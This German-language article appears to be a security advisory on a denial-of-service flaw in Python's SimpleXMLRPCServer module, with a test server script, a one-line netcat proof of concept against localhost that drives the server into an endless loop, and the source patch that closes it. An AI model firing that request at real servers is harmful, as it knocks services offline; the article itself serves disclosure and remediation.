Aufgrund einer Sicherheitslücke in Python ist ein entfernter Angreifer in der Lage, Denial-of-Service-Attacken durchzuführen. Die Schwachstelle befindet sich im Modul Simple XML-RPC-Server.
SimpleXMLRPCServer ist eine Standardkomponente von Python. Mit dem Modul lassen sich sehr einfach XML-RPC-Server in der Skriptsprache aufsetzen.
Bei XML-RPC handelt es sich um ein Verfahren zum Methoden-/Funktionsaufruf für verteilte Systeme, es stellt gewissermaßen den Vorgänger des umfangreicheren SOAP dar. Bei XML-RPC werden die Daten via HTTP versandt und durch XML dargestellt. Das unterscheidet XML-RPC von RPC-Implementierungen, die Daten binär kodiert auf einem eigenen Kommunikationskanal übertragen.
Der nun gefundene Fehler in diesem Modul tritt auf, wenn ein Angreifer eine Verbindung zum Server schließt, bevor eine entsprechende Abschlussanfrage empfangen wurde. Eine solche Attacke ist leicht reproduzierbar, wie das folgende Beispiel zeigt.
Als XML-RPC-Server dient ein sehr einfach gehaltenes Python Server-Skript:
#!/usr/local/bin/python3
from xmlrpc.server import SimpleXMLRPCServer
server = SimpleXMLRPCServer(('127.0.0.1', 12345))
server.serve_forever()
Nach dem Start des Server-Skripts lässt sich die CPU-Auslastung beispielsweise mit Top überwacht werden. Der Exploit, der die Denial-of-Service-Attacke durchführt, besteht lediglich aus folgender Zeile:
echo -e 'POST /RPC2 HTTP/1.0\r\nContent-Length: 100\r\n\r\nlol bye' | nc localhost 12345
Diese Kommandozeile verwendet Netcat, um eine RPC-Anfrage an den zuvor gestarteten Server zu senden. Das Senden erfolgt an die vom Server verwendete Portnummer 12345. Ein erneutes Aufrufen von Top dürfte nun zeigen, dass der Server-Prozess anfängt, große CPU-Ressourcen zu verbrauchen.
Die Ursache ist das Eintreten in eine Endlosschleife. Wer das Ganze unter Python 2.7.x ausprobieren möchte, muss das Server-Skript entsprechend anpassen und die folgende Variante verwenden:
#!/usr/bin/python
from SimpleXMLRPCServer import SimpleXMLRPCServer
server = SimpleXMLRPCServer(('127.0.0.1', 12345))
server.serve_forever()
Die Schwachstelle lässt sich durch das folgende Patch für die Datei “xmlrpc/server.py” schließen:
L = [] while size_remaining: chunk_size = min(size_remaining, max_chunk_size) - L.append(self.rfile.read(chunk_size)) + chunk = self.rfile.read(chunk_size) + if not chunk: + break + L.append(chunk) size_remaining -= len(L[-1]) data = b''.join(L)
Betroffen sind die Python-Versionen 2.7.2 und 3.2.2.

